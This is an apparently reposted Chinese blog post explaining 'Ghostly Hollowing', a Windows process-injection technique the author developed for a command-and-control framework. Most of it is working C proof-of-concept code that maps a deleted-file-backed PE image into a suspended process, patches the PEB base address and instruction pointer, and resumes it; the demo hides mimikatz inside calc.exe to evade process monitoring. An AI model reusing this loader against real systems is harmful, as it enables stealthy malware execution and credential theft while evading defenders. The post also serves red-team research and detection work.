Ghostly Hollowing——可能是我所知道的最奇怪的 Windows 进程注入技术

来源:TVTropes

这个标题一点也不夸张。我当时正在研究可以在我的 C2 --- Hydrangea中使用的远程进程注入技术。就在那时,我遇到了 Ghostly Hollowing。

什么是 Ghostly Hollowing?

文件映射对象及其怪异之处

"文件映射对象"是可以在磁盘和内存之间同步数据的东西。

举个例子,假设一个进程想要将文件的内容加载到其内存中,这样当它写入该内存时,文件内容也会得到类似的修改。此外,假设还有第二个进程想要做同样的事情。文件映射对象会为您完成繁重的工作,确保文件的内容和两个进程中的内存保持同步(相同),无论谁读取/写入它。在这种情况下,文件映射对象被称为"由磁盘(文件)支持"。

这是我的问题。按照上述逻辑,如果您创建一个由磁盘上的文件支持的文件映射对象,然后删除该文件,然后尝试从内存中读取其内容,它应该会失败,对吗?毕竟,它是由文件支持的,而现在文件本身已经消失了。所以它失败了,是吗?

不,不是。内容不仅保留,而且您现在还可以将其映射到任何进程的 VA 空间。这就是"幽灵空洞"中的"幽灵"。

流程空心化

顾名思义,就是挖空一个进程,创建一个空间。然后把您自己的可执行映像放入该空间,并让进程执行它。本质上,您只是将一个 EXE 映像注入另一个 EXE 映像中。当进程监控软件查看此内容时,它们仍然会看到原始 EXE,而不知道另一个内部 EXE 正在其中运行。

"挖空"并不总是需要挖空一个进程。其目的是将您自己的 EXE 映像注入进程,并将执行重定向到该进程,对吗?您可以在不删除实际 EXE 映像的情况下实现此目的。这更隐蔽,因为显示原始映像远比不显示任何映像更不可疑。

幽灵 + 空心?

这个想法很简单。

首先,创建一个"幽灵文件映射对象",由当前已删除的 EXE 支持。然后将其映射到目标进程。此映射内存不会显示与文件的链接,因为该文件不存在。这会隐藏 EXE 名称。

其次,劫持目标进程,并将其执行重定向到上面刚刚注入(映射)的内部 EXE 映像。

编写 POC

让我们一步一步地建设性地解决这个问题。以下各节仅提及相关代码。完整的 POC 在最后。

创建新流程

理论上,你可以注入任何进程。在我的演示中,我选择了一个新进程。注入现有进程可能会停止某些重要进程并提醒我们的蓝队伙伴。

理想情况下,我们希望从目标进程捕获 STDOUT 和 STDERR,以防我们注入控制台应用程序。您会注意到,在下面的代码中,我为此设置了一个匿名管道--- 目标进程写入管道,而我的进程从中读取。确保进程使用CREATE_NEW_CONSOLE标志启动,否则它将获取父级的控制台。

如果注入的 EXE 需要命令行参数,它将查找进程的 PEB,其中包含提供给原始 EXE 的命令行。因此,假设您要启动mimikatz.exe coffee。您实际上必须启动的是benign_process.exe coffee

最后,新进程必须以挂起模式创建,这样我们才能在它启动之前劫持它。我们也可以通过挂起任何线程来劫持正在运行的进程。在这种情况下,我根本不想让原始 EXE 运行。

sql 复制代码
BOOL CreateLegitProcess(IN PWCHAR imagePath, IN PWCHAR commandLineArgs, OUT PPROCESS_INFORMATION pProcessInformation, IN OUT PHANDLE phStdoutRead, IN OUT PHANDLE phStdoutWrite) {    // Initialise    BOOL isSuccess = FALSE;    DWORD imagePathLen = 0;    DWORD commandLineArgsLen = 0;    PWCHAR pCommandLine = NULL;        // Create startup info    STARTUPINFOW startupInfo;    RtlZeroMemory(&startupInfo, sizeof(STARTUPINFOW));    startupInfo.cb = sizeof(STARTUPINFOW);    //// Create anonymous pipe to capture STDOUT from process    SECURITY_ATTRIBUTES secAttr;    RtlZeroMemory(&secAttr, sizeof(SECURITY_ATTRIBUTES));    secAttr.nLength = sizeof(SECURITY_ATTRIBUTES);    secAttr.bInheritHandle = TRUE;    secAttr.lpSecurityDescriptor = NULL;    if (!CreatePipe(phStdoutRead, phStdoutWrite, &secAttr, 0)) goto CLEANUP;    if (*phStdoutRead == NULL || *phStdoutWrite == NULL) goto CLEANUP;    startupInfo.hStdOutput = *phStdoutWrite;    startupInfo.hStdError = *phStdoutWrite;    startupInfo.dwFlags |= STARTF_USESTDHANDLES;    // Create process    imagePathLen = lstrlenW(imagePath);    commandLineArgsLen = lstrlenW(commandLineArgs);    pCommandLine = (PWCHAR)HeapAlloc(        GetProcessHeap(),        HEAP_ZERO_MEMORY,        (1 + imagePathLen + 1 + 1 + commandLineArgsLen + 1) * sizeof(WCHAR) // "imagePath" arg1    );    if (pCommandLine == NULL) goto CLEANUP;    lstrcatW(pCommandLine, L""");    lstrcatW(pCommandLine, imagePath);    lstrcatW(pCommandLine, L"" ");    lstrcatW(pCommandLine, commandLineArgs);    if(!CreateProcessW(        imagePath,        pCommandLine,        NULL,        NULL,        TRUE,        CREATE_NEW_CONSOLE | CREATE_SUSPENDED,        NULL,        L"C:\Windows\System32",        &startupInfo,        pProcessInformation    )) goto CLEANUP;    // If execution reaches here, all went fine    isSuccess = TRUE;CLEANUP:    // Close write handles; child has already inherited them above    if(*phStdoutWrite != NULL)        CloseHandle(*phStdoutWrite);    if (pCommandLine != NULL)        HeapFree(GetProcessHeap(), 0, pCommandLine);    return isSuccess;}

创建 Ghost 文件映射对象

现在到了最有趣的部分------创建一个幽灵文件映射对象。

我们将首先创建一个临时的空白文件,并用要注入的 EXE 的内容填充它。除了读/写权限之外,我们还必须使用DELETESYNCHRONIZE权限打开它,这样我们才能使用相同的文件句柄实际删除它。对于删除,我希望在关闭文件句柄时完成。为此,FILE_FLAG_DELETE_ON_CLOSE使用了。但这要等待进程关闭。由于我们希望立即删除它,我们还将设置删除的处置信息。

然后我们将创建文件映射对象,由上述临时 EXE 文件支持。该SEC_IMAGE标志用于指定我们尝试加载的是 PE 映像。这将加载我们的 PE 并将其正确放置在内存中,并使其可执行。如果有东西从内核回调中读取此事件,则此加载不是隐秘的。

然后我们关闭文件句柄。这将删除 EXE 文件,但文件映射对象仍然有效。然后我们用它将 EXE 内容映射到新的目标进程。

vbscript 复制代码
BOOL CreateGhostSection(IN LPVOID pPePayload, IN DWORD pePayloadSize, IN HANDLE hTargetProcess, OUT VOID **ppPePayloadInTargetBaseAddress) {    // Initialise    BOOL isSuccess = FALSE;    HANDLE hTempFile = NULL;    DWORD bytesWritten = 0;    HANDLE hFileMapping = NULL;    WCHAR tempFile[MAX_PATH] = L"";    WCHAR tempDir[MAX_PATH] = L"";    // Create temporary file    if (GetTempPath2W(MAX_PATH, tempDir) == 0) goto CLEANUP;    if (GetTempFileNameW(tempDir, L"", 0, tempFile) == 0) goto CLEANUP;    // Open handle to it    hTempFile = CreateFileW(        tempFile,        GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,        0,        NULL,        OPEN_EXISTING,        FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE,        NULL    );    if (hTempFile == NULL) goto CLEANUP;    // Set file to be deleted    FILE_DISPOSITION_INFO fileDispositionInfo;    fileDispositionInfo.DeleteFileW = TRUE;    if(!SetFileInformationByHandle(        hTempFile,        FILE_INFO_BY_HANDLE_CLASS::FileDispositionInfo,        &fileDispositionInfo,        sizeof(FILE_DISPOSITION_INFO)    )) goto CLEANUP;    // Write PE payload to the file    WriteFile(        hTempFile,        pPePayload,        pePayloadSize,        &bytesWritten,        NULL    );    if (bytesWritten != pePayloadSize) goto CLEANUP;    if(!FlushFileBuffers(hTempFile)) goto CLEANUP;    // Create section backed by the file    hFileMapping = CreateFileMappingW(        hTempFile,        NULL,        PAGE_READONLY | SEC_IMAGE,        0,        0,        NULL    );    if (hFileMapping == NULL) goto CLEANUP;    // Close file handle    CloseHandle(hTempFile);    hTempFile = NULL;    // Map PE contents to target process    *ppPePayloadInTargetBaseAddress = MapViewOfFile2(        hFileMapping,        hTargetProcess,        0,        NULL,        0,        0,        PAGE_READONLY    );    if (*ppPePayloadInTargetBaseAddress == NULL) goto CLEANUP;    // If execution reaches here, all went well    isSuccess = TRUE;    // CleanupCLEANUP:    if (hFileMapping != NULL)        CloseHandle(hFileMapping);    //// Return success status    return isSuccess;}

劫持新流程

目标现已准备好被劫持。需要做两件事------

  • 修补基地址 --- ASLR 会导致模块加载到不可预测的基地址。为了解决这个问题,EXE 包含重定位数据,加载器使用这些数据来正确修补相对于随机基地址的地址。手动重定位非常麻烦。相反,我们将PEB 中的基地址(官方未记录)修补到我们注入 EXE 的地址。我们的 EXE 现在就是基地址!无需重定位。RDX 寄存器将地址存储到 PEB。
  • 修补指令指针 --- 我们设置主线程的上下文,以便更新 RIP 寄存器。我们必须使其指向我们注入的 EXE 的入口点地址。为此,我们将解析我们的 EXE 并从 NT 标头中的 Optional 标头中找出入口点 RVA。如果这看起来令人困惑,请阅读我之前关于从头开始编写 PE 加载器的帖子。
复制代码
 
scss 复制代码
BOOL HijackProcessExecution(HANDLE hTargetProcess, HANDLE hTargetThread, LPVOID addressOfEntryPoint, LPVOID addressOfImageBase) {    // Get main thread context    CONTEXT targetThreadContext;    RtlZeroMemory(&targetThreadContext, sizeof(CONTEXT));    targetThreadContext.ContextFlags = CONTEXT_ALL;    if(!GetThreadContext(hTargetThread, &targetThreadContext)) return FALSE;    // Patch PEB's BaseAddress    PPEB_DETAILED pPeb = (PPEB_DETAILED)(targetThreadContext.Rdx);    DWORD64 numOfBytesWrittenPatchPeb = 0;    if (!WriteProcessMemory(        hTargetProcess,        &(pPeb->ImageBaseAddress),        &addressOfImageBase,        sizeof(addressOfImageBase),        &numOfBytesWrittenPatchPeb    ) || numOfBytesWrittenPatchPeb != sizeof(LPVOID))        return FALSE;    // Patch RIP to point to Entry point    targetThreadContext.Rip = (DWORD64)addressOfEntryPoint;    if(!SetThreadContext(hTargetThread, &targetThreadContext)) return FALSE;    // Resume process    return (ResumeThread(hTargetThread) == 1);}

演示

进程重影演示

我运行了我的 POC 进行注入和执行mimikatz.execalc.exe我知道牺牲过程有更好的选择;记住这是一个演示;)

观察 1.4 MB 图像内存(蓝色突出显示)在"使用"列中显示空白。对于其他图像,它显示加载模块的路径。您甚至可以看到原始calc.exe模块仍在加载。但执行现在已移至此未命名的图像内存。这是 mimikatz!

参考

github.com/haidragon

gitee.com/haidragon

公众号:安全狗的自我修养

bilibili:haidragonx

相关推荐
晓夜残歌2 分钟前
安全基线-rm命令防护
运维·服务器·前端·chrome·安全·ubuntu
网安-轩逸3 小时前
网络安全——SpringBoot配置文件明文加密
spring boot·安全·web安全
文档加密Ping325 小时前
选择最佳加密软件:IPguard vs Ping32——企业级安全方案评估
安全
qq_395416266 小时前
网络安全应急入门到实战
安全·web安全
Hacker_Nightrain6 小时前
网络安全漏洞与修复 网络安全软件漏洞
网络·安全·web安全
网络安全-老纪7 小时前
网络安全 逆向 apk 网络安全逆向分析
网络·安全·web安全
故事与他6458 小时前
Vulnhub靶场matrix-breakout-2-morpheus攻略
ide·安全·web安全·网络安全·android studio
亿坊电商8 小时前
如何检查CMS建站系统的插件是否安全?
网络·安全·cms插件
网安墨雨8 小时前
stride网络安全威胁 网络安全威胁是什么
网络·安全·web安全